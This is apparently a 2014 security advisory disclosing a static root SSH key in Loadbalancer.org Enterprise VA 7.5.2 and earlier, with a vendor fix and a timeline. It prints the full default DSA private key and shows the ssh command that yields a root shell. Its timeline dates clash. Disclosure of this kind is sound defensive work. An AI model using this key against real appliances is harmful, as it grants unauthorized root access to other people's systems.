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Loadbalancer.org Enterprise VA 7.5.2 Static SSH Key

Loadbalancer.org Enterprise VA 7.5.2 Static SSH Key
Posted Mar 17, 2014
Authored by xistence

Loadbalancer.org Enterprise VA versions 7.5.2 and below come with a static public and private key installed for their appliances. When the keys are regenerated, it fails to remove the public key from the authorized_keys2 file, allowing anyone to use the private default key for access.

tags | exploit
SHA-256 | 2f4dfccf5655e5fdfa8f9af30faf107520d3182be78d7c99cf82b293f0d969cd

Loadbalancer.org Enterprise VA 7.5.2 Static SSH Key

Change Mirror Download
-----------
Author:
-----------

xistence < xistence[at]0x90[.]nl >

-------------------------
Affected products:
-------------------------

Loadbalancer.org Enterprise VA 7.5.2 and below

-------------------------
Affected vendors:
-------------------------

Loadbalancer.org
http://www.loadbalancer.org/

-------------------------
Product description:
-------------------------

The Loadbalancer.org Virtual Appliance is a revolution in software load
balancing. The software is simple to install on Windows, Mac & Linux and
does not have any adverse effects on the host operating system.

----------
Details:
----------

[ 0x01 - SSH Private Key ]

Loadbalancer.org Enterprise VA 7.5.2 contains a default SSH private key:

[root@lbmaster .ssh]# cat id_dsa
-----BEGIN DSA PRIVATE KEY-----
MIIBugIBAAKBgQCsCgcOw+DgNR/7g+IbXYdOEwSB3W0o3l1Ep1ibHHvAtLb6AdNW
Gq47/UxY/rX3g2FVrVCtQwNSZMqkrqALQwDScxeCOiLMndCj61t3RxU3IOl5c/Hd
yhGh6JGPdzTpgf8VhJIZnvG+0NFNomYntqYFm0y11dBQPpYbJE7Tx1t/lQIVANHJ
rJSVVkpcTB4XdtR7TfO317xVAoGABDytZN2OhKwGyJfenZ1Ap2Y7lkO8V8tOtqX+
t0LkViOi2ErHJt39aRJJ1lDRa/3q0NNqZH4tnj/bh5dUyNapflJiV94N3637LCzW
cFlwFtJvD22Nx2UrPn+YXrzN7mt9qZyg5m0NlqbyjcsnCh4vNYUiNeMTHHW5SaJY
TeYmPP8CgYAjEe5+0m/TlBtVkqQbUit+s/g+eB+PFQ+raaQdL1uztW3etntXAPH1
MjxsAC/vthWYSTYXORkDFMhrO5ssE2rfg9io0NDyTIZt+VRQMGdi++dH8ptU+ldl
2ZejLFdTJFwFgcfXz+iQ1mx6h9TPX1crE1KoMAVOj3yKVfKpLB1EkAIUCsG3dIJH
SzmJVCWFyVuuANR2Bnc=
-----END DSA PRIVATE KEY-----

And a authorized_keys2:

[root@lbmaster .ssh]# cat authorized_keys2
ssh-dss
AAAAB3NzaC1kc3MAAACBAKwKBw7D4OA1H/uD4htdh04TBIHdbSjeXUSnWJsce8C0tvoB01Yarjv9TFj+tfeDYVWtUK1DA1JkyqSuoAtDANJzF4I6Isyd0KPrW3dHFTcg6Xlz8d3KEaHokY93NOmB/xWEkhme8b7Q0U2iZie2pgWbTLXV0FA+lhskTtPHW3+VAAAAFQDRyayUlVZKXEweF3bUe03zt9e8VQAAAIAEPK1k3Y6ErAbIl96dnUCnZjuWQ7xXy062pf63QuRWI6LYSscm3f1pEknWUNFr/erQ02pkfi2eP9uHl1TI1ql+UmJX3g3frfssLNZwWXAW0m8PbY3HZSs+f5hevM3ua32pnKDmbQ2WpvKNyycKHi81hSI14xMcdblJolhN5iY8/wAAAIAjEe5+0m/TlBtVkqQbUit+s/g+eB+PFQ+raaQdL1uztW3etntXAPH1MjxsAC/vthWYSTYXORkDFMhrO5ssE2rfg9io0NDyTIZt+VRQMGdi++dH8ptU+ldl2ZejLFdTJFwFgcfXz+iQ1mx6h9TPX1crE1KoMAVOj3yKVfKpLB1EkA==
root@lbslave


The manual says the following:

---
Appliance Security Lockdown Script

To ensure that the appliance is secure it's recommended that a number of
steps should be carried out.
These steps have been incorporated into a lockdown script which can be run
at the console (recommended) or via a terminal session.
The script helps to lock down the following:
- the password for the 'loadbalancer' Web User Interface account
- the password for the Linux 'root' account
- which subnet / host is permitted access to the load balancer

It also regenerates the SSH keys that are used to secure communicating
between the master and slave appliance.

To start the script, at the console or via an SSH terminal session run the
following command:
lbsecure
---


However, the lbsecure script will regenerate the id_dsa/id_dsa.pub, but the
authorized_keys2 will remain untouched.
This makes it still possible to login using the key, without any password!

Create a file "lb" containing the key:

$ cat lb
-----BEGIN DSA PRIVATE KEY-----
MIIBugIBAAKBgQCsCgcOw+DgNR/7g+IbXYdOEwSB3W0o3l1Ep1ibHHvAtLb6AdNW
Gq47/UxY/rX3g2FVrVCtQwNSZMqkrqALQwDScxeCOiLMndCj61t3RxU3IOl5c/Hd
yhGh6JGPdzTpgf8VhJIZnvG+0NFNomYntqYFm0y11dBQPpYbJE7Tx1t/lQIVANHJ
rJSVVkpcTB4XdtR7TfO317xVAoGABDytZN2OhKwGyJfenZ1Ap2Y7lkO8V8tOtqX+
t0LkViOi2ErHJt39aRJJ1lDRa/3q0NNqZH4tnj/bh5dUyNapflJiV94N3637LCzW
cFlwFtJvD22Nx2UrPn+YXrzN7mt9qZyg5m0NlqbyjcsnCh4vNYUiNeMTHHW5SaJY
TeYmPP8CgYAjEe5+0m/TlBtVkqQbUit+s/g+eB+PFQ+raaQdL1uztW3etntXAPH1
MjxsAC/vthWYSTYXORkDFMhrO5ssE2rfg9io0NDyTIZt+VRQMGdi++dH8ptU+ldl
2ZejLFdTJFwFgcfXz+iQ1mx6h9TPX1crE1KoMAVOj3yKVfKpLB1EkAIUCsG3dIJH
SzmJVCWFyVuuANR2Bnc=
-----END DSA PRIVATE KEY-----

SSH to the Loadbalancer.org VM using this key:

$ ssh -i lb root@192.168.2.21
Last login: Wed Jan 29 09:12:10 2014 from 192.168.2.72
-bash: warning: setlocale: LC_CTYPE: cannot change locale (UTF-8)
[root@lbmaster ~]# id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
[root@lbmaster ~]#



-----------
Solution:
-----------

Upgrade to version 7.5.3 or newer

--------------
Timeline:
--------------

30-01-2014 - Issues discovered and vendor notified
15-01-2014 - Vendor replies, also made patch available.
17-03-2014 - Public disclosure
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